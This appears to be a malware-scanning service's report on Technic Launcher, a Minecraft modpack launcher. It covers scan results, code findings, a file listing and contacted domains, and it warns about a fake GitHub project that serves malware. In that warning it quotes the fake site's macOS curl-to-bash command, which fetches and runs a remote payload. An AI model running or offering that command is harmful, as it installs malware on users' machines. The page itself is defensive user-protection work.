How we got this result
- Files checkedWe compare the fingerprint and the content of each file with the malware we and others have found, and look at what is inside it.3 of 3 official filesLast checked on 2 Nov 2026
- Deep checkOur own tools read the code of each current file and look for what harmful code does, like stealing logins or running hidden programs.2 of 3 official filesLast checked on 2 Nov 2026
- Passed Nothing harmful found in its 3 official files.Our checks look for known signs of harm. They cannot prove that a file is harmless.
At a glance
- Fake sites
- 1 fake site found.
- Releases
- Latest release on 30 Oct 2026.
Every official file
See each file in ReleasesThe files of version Build 1180, by system and kind of download.
Have a copy of Technic Launcher? Check that it is the official one.
Drop it here. We compare its fingerprint with the official Technic Launcher files and the files of the fake sites we know.
Source and links
- Source code
- Public on GitHub
- Official site
- technicpack.net
Which file for my computer?
Official site
1 site uses its name to give other files. See Fake sites
- Download page
- technicpack.net/download
- Newest version
- Build 1180, released on 30 Oct 2026
Passed
Nothing harmful found in its 3 official files, version Build 1180.
Our checks look for known signs of harm. They cannot prove that a file is harmless.
What we checked
A launcher runs on your computer like any program, and it downloads the game and its mods, so harmful code in it can steal your accounts or files.
- Files checkedEach official file is downloaded on a separate machine, opened with every file inside it and never run. ClamAV, a free antivirus, and our YARA rules look for known signs of harm in all of it.
- 3 of its 3 official files, with every file inside them.
- Deep checkOur own tools read the Java code in the files and look for what harmful code does, like stealing logins or running hidden programs. They read Java code only.
- 2 of its 3 official files. 1 hold no Java code: programs made for one system.
- Same as listedA fingerprint of the file. The same fingerprint means the same file, byte for byte.
- Every file we checked has the SHA-256 that GitHub gives.
- Older releases
- 6 official files of 2 older releases, every one checked.
What we found
What its Java code can do. None of this is harmful by itself: many launchers and mods do the same.
- Accepts connections from other computers
- The code references server sockets or an embedded web server. Used by some tools for local web interfaces, profilers, or LAN features.
- Can connect to the internet
- It has code that can go online, for example to check for updates, sign you in or download the game. What it sends is in Privacy.
- Can download and run new code
- One class references both network APIs and class loading. This is the pattern of auto-updating loaders, but also of some harmful programs. Only the source of the downloaded data tells which.
- Can run scripts
- References JavaScript, Groovy, Lua or similar engines. Programs use them for settings, add-ons or their interface.
- Contains code made for your system
- Native libraries (.dll, .so, .dylib) run outside the Java sandbox. Used for speed, compression, audio, graphics or database engines.
- Creates code while it runs
- The code can create or load pieces of code while it runs. Launchers load the game, its mod loaders and their own modules this way.
- Starts other programs
- The code can start another program on your computer. Common reasons: opening a web link or a folder, reading hardware information, launching a helper tool.
The evidence
Each finding of our checks: the file, what it is in plain words, where our tools saw it, and the rule that matched.
- An address built in the codeThis code builds the web address of a connection from pieces of text, so the address is not written in the file. Our code reading noted it; it is not counted as a Warning.InInformation
Technic.app/Contents/Java/TechnicLauncher.jarnet.technicpack.rest.RestObject.getRestObjectURLConnection conn = Urls.parseAndDiagnose(url, "RestObject.getRestObject").openConnection();Rule: code reading: hidden_address - An address built in the codeThis code builds the web address of a connection from pieces of text, so the address is not written in the file. Our code reading noted it; it is not counted as a Warning.InInformation
Technic.app/Contents/Java/TechnicLauncher.jarnet.technicpack.utilslib.Utils.getETagHttpURLConnection conn = (HttpURLConnection)url.openConnection();Rule: code reading: hidden_address - An address built in the codeThis code builds the web address of a connection from pieces of text, so the address is not written in the file. Our code reading noted it; it is not counted as a Warning.InInformation
launcher-4.0-1180.jarnet.technicpack.rest.RestObject.getRestObjectURLConnection conn = Urls.parseAndDiagnose(url, "RestObject.getRestObject").openConnection();Rule: code reading: hidden_address - An address built in the codeThis code builds the web address of a connection from pieces of text, so the address is not written in the file. Our code reading noted it; it is not counted as a Warning.InInformation
launcher-4.0-1180.jarnet.technicpack.utilslib.Utils.getETagHttpURLConnection conn = (HttpURLConnection)url.openConnection();Rule: code reading: hidden_address - An address built in the codeThis code builds the web address of a connection from pieces of text, so the address is not written in the file. Our code reading noted it; it is not counted as a Warning.InInformation
Technic.app/Contents/Java/TechnicLauncher.jarnet.technicpack.rest.RestObject.getRestObjectURLConnection conn = Urls.parseAndDiagnose(url, "RestObject.getRestObject").openConnection();Rule: code reading: hidden_address - An address built in the codeThis code builds the web address of a connection from pieces of text, so the address is not written in the file. Our code reading noted it; it is not counted as a Warning.InInformation
Technic.app/Contents/Java/TechnicLauncher.jarnet.technicpack.utilslib.Utils.getETagHttpURLConnection conn = (HttpURLConnection)url.openConnection();Rule: code reading: hidden_address - An address built in the codeThis code builds the web address of a connection from pieces of text, so the address is not written in the file. Our code reading noted it; it is not counted as a Warning.InInformation
launcher-4.0-1176.jarnet.technicpack.rest.RestObject.getRestObjectURLConnection conn = Urls.parseAndDiagnose(url, "RestObject.getRestObject").openConnection();Rule: code reading: hidden_address - An address built in the codeThis code builds the web address of a connection from pieces of text, so the address is not written in the file. Our code reading noted it; it is not counted as a Warning.InInformation
launcher-4.0-1176.jarnet.technicpack.utilslib.Utils.getETagHttpURLConnection conn = (HttpURLConnection)url.openConnection();Rule: code reading: hidden_address - An address built in the codeThis code builds the web address of a connection from pieces of text, so the address is not written in the file. Our code reading noted it; it is not counted as a Warning.InInformation
Technic.app/Contents/Java/TechnicLauncher.jarnet.technicpack.rest.RestObject.getRestObjectURLConnection conn = Urls.parseAndDiagnose(url, "RestObject.getRestObject").openConnection();Rule: code reading: hidden_address - An address built in the codeThis code builds the web address of a connection from pieces of text, so the address is not written in the file. Our code reading noted it; it is not counted as a Warning.InInformation
Technic.app/Contents/Java/TechnicLauncher.jarnet.technicpack.utilslib.Utils.getETagHttpURLConnection conn = (HttpURLConnection)url.openConnection();Rule: code reading: hidden_address - An address built in the codeThis code builds the web address of a connection from pieces of text, so the address is not written in the file. Our code reading noted it; it is not counted as a Warning.InInformation
launcher-4.0-1175.jarnet.technicpack.rest.RestObject.getRestObjectURLConnection conn = Urls.parseAndDiagnose(url, "RestObject.getRestObject").openConnection();Rule: code reading: hidden_address - An address built in the codeThis code builds the web address of a connection from pieces of text, so the address is not written in the file. Our code reading noted it; it is not counted as a Warning.InInformation
launcher-4.0-1175.jarnet.technicpack.utilslib.Utils.getETagHttpURLConnection conn = (HttpURLConnection)url.openConnection();Rule: code reading: hidden_address
What is inside
The 5,073 files inside launcher-4.0-1180.exe. Only the first 400 are listed.
- Java code
- 326 files.
- Programs for Windows, Mac or Linux
- 1 file.
- Graphics
- None.
- Other
- 73 files.
Every file
aix/ppc64/1 file
- libzstd-jni-1.5.7-24.so1612 KB
com/301 files
beust/jcommander/67 files
converters/18 files
- BaseConverter.class1.2 KB
- BigDecimalConverter.class1.1 KB
- BooleanConverter.class1.2 KB
- CommaParameterSplitter.class964 B
- DefaultListConverter.class2.0 KB
- DoubleConverter.class1.2 KB
- EnumConverter.class2.1 KB
- FileConverter.class785 B
- FloatConverter.class1.1 KB
- IntegerConverter.class1.2 KB
- IParameterSplitter.class283 B
- ISO8601DateConverter.class1.4 KB
- LongConverter.class1.1 KB
- NoConverter.class784 B
- PathConverter.class1.9 KB
- StringConverter.class740 B
- URIConverter.class1.1 KB
- URLConverter.class1.1 KB
internal/8 files
- Console.class214 B
- DefaultConsole.class1.5 KB
- DefaultConverterFactory.class2.4 KB
- JDK6Console.class1.7 KB
- Lists.class1.6 KB
- Maps.class1.1 KB
- Nullable.class415 B
- Sets.class578 B
parser/1 file
- DefaultParameterizedParser.class712 B
validators/2 files
- NoValidator.class622 B
- NoValueValidator.class930 B
- DefaultUsageFormatter.class11 KB
- DynamicParameter.class1.1 KB
- FuzzyMap.class2.9 KB
- FuzzyMap$IKey.class237 B
- IDefaultProvider.class204 B
- IMainParameter.class203 B
- IParameterizedParser.class297 B
- IParametersValidator.class329 B
- IParameterValidator.class269 B
- IParameterValidator2.class362 B
- IStringConverter.class290 B
- IStringConverterFactory.class317 B
- IStringConverterInstanceFactory.class443 B
- IUsageFormatter.class473 B
- IValueValidator.class359 B
- IVariableArity.class204 B
- JCommander.class42 KB
- JCommander$1.class2.2 KB
- JCommander$2.class1.3 KB
- JCommander$Builder.class4.8 KB
- JCommander$DefaultVariableArity.class1.2 KB
- JCommander$MainParameter.class3.0 KB
- JCommander$Options.class4.4 KB
- JCommander$Options$1.class1.8 KB
- JCommander$ProgramName.class2.4 KB
- MissingCommandException.class720 B
- Parameter.class1.7 KB
- ParameterDescription.class15 KB
- ParameterDescription$SubParameterIndex.class759 B
- ParameterException.class1.1 KB
- Parameterized.class12 KB
- Parameters.class869 B
- ParametersDelegate.class409 B
- ResourceBundle.class450 B
- StringKey.class1.2 KB
- Strings.class2.3 KB
- SubParameter.class467 B
- WrappedParameter.class5.8 KB
github/luben/zstd/24 files
util/3 files
- Native.class5.5 KB
- Native$1.class887 B
- Native$2.class907 B
- AutoCloseBase.class1.8 KB
- BufferPool.class404 B
- EndDirective.class1.2 KB
- NoPool.class802 B
- Objects.class664 B
- SequenceProducer.class219 B
- SharedDictBase.class319 B
- Zstd.class22 KB
- Zstd$FrameData.class846 B
- Zstd$ParamSwitch.class1.3 KB
- ZstdCompressCtx.class13 KB
- ZstdDecompressCtx.class8.3 KB
- ZstdDictCompress.class2.4 KB
- ZstdDictDecompress.class2.1 KB
- ZstdException.class693 B
- ZstdFrameProgression.class866 B
- ZstdInputStream.class2.8 KB
- ZstdInputStreamNoFinalizer.class6.3 KB
- ZstdIOException.class690 B
- ZstdOutputStream.class4.5 KB
- ZstdOutputStreamNoFinalizer.class8.4 KB
google/210 files
api/client/201 files
auth/30 files
oauth/1 file
- package-info.class216 B
oauth2/28 files
- AuthorizationCodeFlow.class12 KB
- AuthorizationCodeFlow$1.class2.1 KB
- AuthorizationCodeFlow$Builder.class10.0 KB
- AuthorizationCodeFlow$CredentialCreatedListener.class482 B
- AuthorizationCodeFlow$PKCE.class1.8 KB
- AuthorizationCodeRequestUrl.class4.1 KB
- AuthorizationCodeTokenRequest.class4.8 KB
- AuthorizationRequestUrl.class3.9 KB
- BearerToken.class1.5 KB
- BearerToken$AuthorizationHeaderAccessMethod.class2.2 KB
- BearerToken$FormEncodedBodyAccessMethod.class2.3 KB
- BearerToken$QueryParameterAccessMethod.class1.5 KB
- ClientParametersAuthentication.class2.1 KB
- Credential.class11 KB
- Credential$AccessMethod.class475 B
- Credential$Builder.class5.1 KB
- CredentialRefreshListener.class487 B
- CredentialStore.class563 B
- CredentialStoreRefreshListener.class2.1 KB
- DataStoreCredentialRefreshListener.class2.9 KB
- RefreshTokenRequest.class4.5 KB
- StoredCredential.class4.1 KB
- TokenErrorResponse.class2.4 KB
- TokenRequest.class7.2 KB
- TokenRequest$1.class1.6 KB
- TokenRequest$1$1.class1.3 KB
- TokenResponse.class2.9 KB
- TokenResponseException.class3.6 KB
openidconnect/1 file
- package-info.class224 B
extensions/7 files
java6/auth/oauth2/4 files
- AuthorizationCodeInstalledApp.class5.7 KB
- AuthorizationCodeInstalledApp$Browser.class414 B
- AuthorizationCodeInstalledApp$DefaultBrowser.class885 B
- VerificationCodeReceiver.class339 B
jetty/auth/oauth2/3 files
- LocalServerReceiver.class4.7 KB
- LocalServerReceiver$Builder.class1.9 KB
- LocalServerReceiver$CallbackHandler.class4.4 KB
http/50 files
apache/1 file
- package-info.class139 B
javanet/13 files
- ConfigurableSSLSocketFactory.class2.4 KB
- ConnectionFactory.class306 B
- DefaultConnectionFactory.class1.0 KB
- NetHttpRequest.class7.0 KB
- NetHttpRequest$1.class1.7 KB
- NetHttpRequest$DefaultOutputWriter.class990 B
- NetHttpRequest$OutputWriter.class395 B
- NetHttpResponse.class3.9 KB
- NetHttpResponse$SizeValidatingInputStream.class1.9 KB
- NetHttpTransport.class4.4 KB
- NetHttpTransport$Builder.class7.2 KB
- package-info.class140 B
- SslSocketConfigurator.class209 B
json/2 files
- JsonHttpContent.class2.5 KB
- package-info.class137 B
- AbstractHttpContent.class2.2 KB
- BackOffPolicy.class490 B
- ConsumingInputStream.class853 B
- GenericUrl.class12 KB
- google-http-client.properties32 B
- GzipSupport.class761 B
- GzipSupport$OptimisticAvailabilityInputStream.class1.1 KB
- HttpContent.class383 B
- HttpEncoding.class311 B
- HttpEncodingStreamingContent.class1.4 KB
- HttpExecuteInterceptor.class266 B
- HttpHeaders.class20 KB
- HttpHeaders$HeaderParsingFakeLevelHttpRequest.class1.4 KB
- HttpHeaders$ParseHeaderState.class1.5 KB
- HttpIOExceptionHandler.class353 B
- HttpMediaType.class7.2 KB
- HttpRequest.class22 KB
- HttpRequest$1.class1.1 KB
- HttpRequestFactory.class2.9 KB
- HttpRequestInitializer.class267 B
- HttpResponse.class8.6 KB
- HttpResponseException.class2.9 KB
- HttpResponseException$Builder.class3.6 KB
- HttpResponseInterceptor.class277 B
- HttpStatusCodes.class1.6 KB
- HttpTransport.class2.2 KB
- HttpUnsuccessfulResponseHandler.class331 B
- LowLevelHttpRequest.class1.9 KB
- LowLevelHttpResponse.class892 B
- OpenCensusUtils.class6.7 KB
- OpenCensusUtils$1.class1.2 KB
- package-info.class132 B
- UrlEncodedContent.class4.8 KB
- UrlEncodedParser.class7.8 KB
json/24 files
gson/9 files
- GsonFactory.class3.6 KB
- GsonFactory$1.class245 B
- GsonFactory$Builder.class1.2 KB
- GsonFactory$InstanceHolder.class669 B
- GsonGenerator.class3.4 KB
- GsonGenerator$StringNumber.class1017 B
- GsonParser.class5.5 KB
- GsonParser$1.class1.4 KB
- package-info.class137 B
rpc2/1 file
- package-info.class215 B
webtoken/1 file
- package-info.class141 B
- CustomizeJsonParser.class1.4 KB
- GenericJson.class2.0 KB
- JsonFactory.class3.9 KB
- JsonGenerator.class4.9 KB
- JsonObjectParser.class3.9 KB
- JsonObjectParser$Builder.class1.7 KB
- JsonParser.class21 KB
- JsonParser$1.class1.2 KB
- JsonPolymorphicTypeMap.class696 B
- JsonPolymorphicTypeMap$TypeDef.class645 B
- JsonString.class399 B
- JsonToken.class1.6 KB
- package-info.class457 B
testing/6 files
http/3 files
apache/1 file
- package-info.class225 B
javanet/1 file
- package-info.class226 B
- package-info.class218 B
json/2 files
webtoken/1 file
- package-info.class227 B
- package-info.class218 B
util/1 file
- package-info.class218 B
util/84 files
escape/8 files
- CharEscapers.class2.8 KB
- Escaper.class372 B
- package-info.class139 B
- PercentEncodedEscaper.class1.8 KB
- PercentEscaper.class4.0 KB
- Platform.class724 B
- Platform$1.class661 B
- UnicodeEscaper.class3.0 KB
store/12 files
- AbstractDataStore.class2.2 KB
- AbstractDataStoreFactory.class2.7 KB
- AbstractMemoryDataStore.class5.6 KB
- DataStore.class1.3 KB
- DataStoreFactory.class403 B
- DataStoreUtils.class1.7 KB
- FileDataStoreFactory.class6.2 KB
- FileDataStoreFactory$FileDataStore.class2.6 KB
- MemoryDataStoreFactory.class1.2 KB
- MemoryDataStoreFactory$InstanceHolder.class650 B
- MemoryDataStoreFactory$MemoryDataStore.class1.3 KB
- package-info.class138 B
- ArrayMap.class7.5 KB
- ArrayMap$Entry.class2.0 KB
- ArrayMap$EntryIterator.class1.8 KB
- ArrayMap$EntrySet.class1.1 KB
- ArrayValueMap.class3.1 KB
- ArrayValueMap$ArrayValue.class1.4 KB
- Base64.class2.0 KB
- Beta.class461 B
- ByteCountingOutputStream.class676 B
- ByteStreams.class1.8 KB
- ByteStreams$LimitedInputStream.class2.1 KB
- ClassInfo.class6.4 KB
- ClassInfo$1.class1.2 KB
- Clock.class397 B
- Clock$1.class515 B
- Collections2.class744 B
- Data.class12 KB
- DataMap.class2.5 KB
- DataMap$Entry.class2.3 KB
- DataMap$EntryIterator.class2.5 KB
- DataMap$EntrySet.class2.1 KB
- DateTime.class7.0 KB
- DateTime$1.class226 B
- DateTime$Rfc3339ParseResult.class2.1 KB
- DateTime$SecondsAndNanos.class2.0 KB
- FieldInfo.class7.3 KB
- GenericData.class6.4 KB
- GenericData$EntryIterator.class2.1 KB
- GenericData$EntrySet.class1.8 KB
- GenericData$Flags.class1.1 KB
- IOUtils.class5.1 KB
- Joiner.class942 B
- Key.class457 B
- Lists.class1.8 KB
- LoggingByteArrayOutputStream.class2.7 KB
- LoggingInputStream.class1.5 KB
- LoggingOutputStream.class1.5 KB
- LoggingStreamingContent.class1.6 KB
- Maps.class914 B
- NullValue.class397 B
- ObjectParser.class753 B
- Objects.class966 B
- Objects$1.class223 B
- Objects$ToStringHelper.class2.4 KB
- Objects$ToStringHelper$ValueHolder.class823 B
- package-info.class457 B
- PemReader.class3.1 KB
- PemReader$Section.class900 B
- Preconditions.class1.8 KB
- SecurityUtils.class8.3 KB
- Sets.class651 B
- Sleeper.class454 B
- Sleeper$1.class599 B
- SslUtils.class4.1 KB
- SslUtils$1.class1.0 KB
- SslUtils$2.class715 B
- StreamingContent.class318 B
- Strings.class477 B
- StringUtils.class1.0 KB
- Throwables.class1.1 KB
- Types.class9.5 KB
- Types$1.class869 B
- Types$1$1.class1.3 KB
- Value.class461 B
common/9 files
annotations/6 files
- Beta.class586 B
- GwtCompatible.class640 B
- GwtIncompatible.class648 B
- J2ktIncompatible.class547 B
- package-info.class135 B
- VisibleForTesting.class274 B
base/3 files
- Absent.class3.9 KB
- AbstractIterator.class2.3 KB
- AbstractIterator$State.class1.4 KB
META-INF/97 files
maven/50 files
com.google.code.findbugs/jsr305/2 files
- pom.properties121 B
- pom.xml4.2 KB
com.google.code.gson/gson/2 files
- pom.properties60 B
- pom.xml22 KB
com.google.errorprone/error_prone_annotations/2 files
- pom.properties80 B
- pom.xml4.2 KB
com.google.guava/6 files
failureaccess/2 files
- pom.properties64 B
- pom.xml5.4 KB
guava/2 files
- pom.properties61 B
- pom.xml9.5 KB
listenablefuture/2 files
- pom.properties134 B
- pom.xml2.2 KB
com.google.http-client/4 files
google-http-client/2 files
- pom.properties75 B
- pom.xml6.4 KB
google-http-client-gson/2 files
- pom.properties80 B
- pom.xml2.8 KB
com.google.j2objc/j2objc-annotations/2 files
- pom.properties68 B
- pom.xml5.3 KB
com.google.oauth-client/6 files
google-oauth-client/2 files
- pom.properties78 B
- pom.xml3.4 KB
google-oauth-client-java6/2 files
- pom.properties84 B
- pom.xml3.4 KB
google-oauth-client-jetty/2 files
- pom.properties84 B
- pom.xml3.4 KB
commons-codec/commons-codec/2 files
- pom.properties62 B
- pom.xml19 KB
commons-io/commons-io/2 files
- pom.properties56 B
- pom.xml20 KB
io.nayuki/qrcodegen/2 files
- pom.properties103 B
- pom.xml3.5 KB
org.apache.commons/6 files
commons-compress/2 files
- pom.properties70 B
- pom.xml25 KB
commons-lang3/2 files
- pom.properties67 B
- pom.xml35 KB
commons-text/2 files
- pom.properties66 B
- pom.xml23 KB
org.apache.httpcomponents/4 files
httpclient/2 files
- pom.properties102 B
- pom.xml6.5 KB
httpcore/2 files
- pom.properties100 B
- pom.xml4.9 KB
org.apache.maven/maven-artifact/2 files
- pom.properties66 B
- pom.xml2.4 KB
org.codehaus.plexus/plexus-utils/2 files
- pom.properties66 B
- pom.xml7.7 KB
org.slf4j/4 files
slf4j-api/2 files
- pom.properties54 B
- pom.xml2.8 KB
slf4j-nop/2 files
- pom.properties54 B
- pom.xml1.3 KB
org.xhtmlrenderer/flying-saucer-core/2 files
- pom.properties70 B
- pom.xml2.7 KB
native-image/6 files
com.google.http-client/5 files
google-http-client/4 files
- native-image.properties38 B
- reflect-config.json2.6 KB
- resource-config.json117 B
- serialization-config.json407 B
google-http-client-gson/1 file
- reflect-config.json627 B
io.sentry/sentry/1 file
- native-image.properties36 B
proguard/7 files
- base.pro1.4 KB
- cache.pro341 B
- collect.pro1.0 KB
- concurrent.pro1.7 KB
- gson.pro3.1 KB
- hash.pro351 B
- primitives.pro52 B
services/1 file
- org.slf4j.spi.SLF4JServiceProvider32 B
versions/26 files
10/org/codehaus/plexus/util/1 file
- BaseIOUtil.class843 B
11/org/codehaus/plexus/util/1 file
- BaseFileUtils.class1.4 KB
22/com/github/luben/zstd/17 files
- Zstd.class32 KB
- Zstd$FrameData.class865 B
- Zstd$ParamSwitch.class1.3 KB
- ZstdBinding.class32 KB
- ZstdBinding$FrameProgressionBuffer.class952 B
- ZstdBinding$SizeTRef.class819 B
- ZstdBinding$SizeTRef$Narrow.class743 B
- ZstdBinding$SizeTRef$Wide.class678 B
- ZstdBufferDecompressingStreamNoFinalizer.class3.3 KB
- ZstdCompressCtx.class17 KB
- ZstdDecompressCtx.class13 KB
- ZstdDictCompress.class3.2 KB
- ZstdDictDecompress.class2.9 KB
- ZstdDirectBufferCompressingStreamNoFinalizer.class7.7 KB
- ZstdDirectBufferDecompressingStreamNoFinalizer.class3.2 KB
- ZstdInputStreamNoFinalizer.class7.9 KB
- ZstdOutputStreamNoFinalizer.class10 KB
9/org/7 files
codehaus/plexus/util/1 file
- BaseIOUtil.class942 B
tukaani/xz/6 files
check/1 file
- CRC64.class1.5 KB
common/1 file
- ByteArrayView.class2.7 KB
lz/4 files
- BasicMatchLengthFinder.class814 B
- MatchLength.class2.4 KB
- MatchLengthFinder.class191 B
- UnalignedLongLEMatchLengthFinder.class976 B
- AL2.09.9 KB
- annotations.kotlin_module24 B
- DEPENDENCIES1.0 KB
- LGPL2.124 KB
- LICENSE-W3C-TEST3.5 KB
- MANIFEST.MF132 B
- SENTRY_THIRD_PARTY_NOTICES.md24 KB
- LICENSE.txt761 B
Sends data
It sends crash reports.
- Sent to
- An address built while it runs.
- Found in
- Its code.
We find the web addresses its code can contact, but we cannot see everything a launcher does while it runs. Wrong result? Tell us
What we checked
A launcher can send information about you over the internet, such as your player name or your login.
- Deep checkWe read the code and list each web address it can contact, and what it sends. We leave out code that is never used.
- The Java code of all 2 files that hold some. See each file in Releases
- Web address
- Address built while it runsThe code builds this address while it runs, so it is not written in the file.: Uploads crash reports or logs.
- Also named in its codeAddresses written in its code that no code we read contacts: a link shown to you, a default setting, or code we could not follow.
api.adoptium.netapi.minecraftservices.comapi.technicpack.netauth.xboxlive.comdiscord.comdocs.sentry.iogithub.comlaunchermeta.mojang.comlibraries.minecraft.netlogin.live.comlogin.microsoftonline.commaven.creeperhost.netmaven.minecraftforge.netmaven.neoforged.netminotar.netmirror.technicpack.netrepo.maven.apache.orgresources.download.minecraft.netsentry.iosentry.technicpack.netsolder.technicpack.netsupport.technicpack.netuser.auth.xboxlive.comwww.akliz.netwww.ccil.orgwww.minecraft.netwww.technicpack.netxsts.auth.xboxlive.com
Releases
Current files: the official files of version Build 1180.
A fake site uses the name of Technic Launcher to offer its download from an address that is not the official one.
How to know the official site
- Official site
- technicpack.net
- Files come from
- github.com/TechnicPack
- SHA-256A fingerprint of the file. The same fingerprint means the same file, byte for byte.
- launcher-4.0-1180.exe0a948dce051a5785231ad1482a353f52a5fc5e733b9e4cde1275e2edb0f1d7ee
The 1 fake site we found
Of these, it gives a file with malware. Sites in one fold share their pages and their download.
github.com/wzxolhqknwux/technic-launcherMalwareOnline
A GitHub project created on 30 Oct 2026 by a throwaway account. Its description presents it as Technic Launcher, and its page adds Windows and macOS download buttons.
The buttons lead to pages of another GitHub account, supremedeckhandwire. The same pages serve at least 15 fake projects, for Minecraft launchers, mods and other programs.
- github.com/wzxolhqknwux/technic-launcherOnline. Its download buttons lead to a fake download page.
Its download
The Windows file is not the launcher: it hides from test machines and installs another hidden program. The macOS button asks you to paste a command that downloads a program.
On Windows the download page gives installer-v5.zip from resight-cheats.net, a site that offers free game cheats. On macOS it asks you to paste a command into Terminal.
The Windows program is packed so its code cannot be read. On Triage's test machines it looked for signs of a virtual machine, ran a hidden PowerShell command that reads the hardware, and installed another program under a random name in AppData. We do not know yet what that program takes.
The macOS command runs a copy of the Bun installer changed to download its program from pkgsetup3.tools.
Technical details
- installer-v5.zip
SHA-256 a450189aeaa3080a6aa1ebaf60bbca9daf921e379ddb6ebdf8d44bfcc9696fb4- installer.exe
SHA-256 23ad0d94e9eef0206a2bf1cc2bb40024e3f096345622e9a3de6a5f7bf7e3114f- macOS command
/bin/bash -c "$(curl -fsSL https://pkgsetup3.tools/xzg556frgygm)"
If you downloaded a file from one of these sites
- Drop the file in the Scanner. It tells you if it is an official file of Technic Launcher or a file of these sites.
- If it is not an official file and you have not opened it, delete it.
- If you opened it: run a full scan with your antivirus. On Windows, the built-in one is Microsoft Defender, in the Windows Security app.
- If you signed in to the launcher it installed: use "sign out everywhere" in your Microsoft security settings and change your Microsoft account password.
- Get Technic Launcher from its official site, technicpack.net .
- Downloads
- Not publishedTechnic Launcher does not publish how many times it is downloaded. GitHub's count covers only its few downloads there.
- Created
- 11 Feb 2014Its GitHub repository
- Latest release
- 30 Oct 2026Version Build 1180
- License
- GPL-3.0 Public on GitHub
About
Technic Launcher is a desktop application built for the Technic Platform. Players use it to discover, install, update and play Minecraft modpacks. It works with Technic Platform and Solder, and its documentation covers Forge and NeoForge installation.
Written from its official pages: its GitHub page . How we write it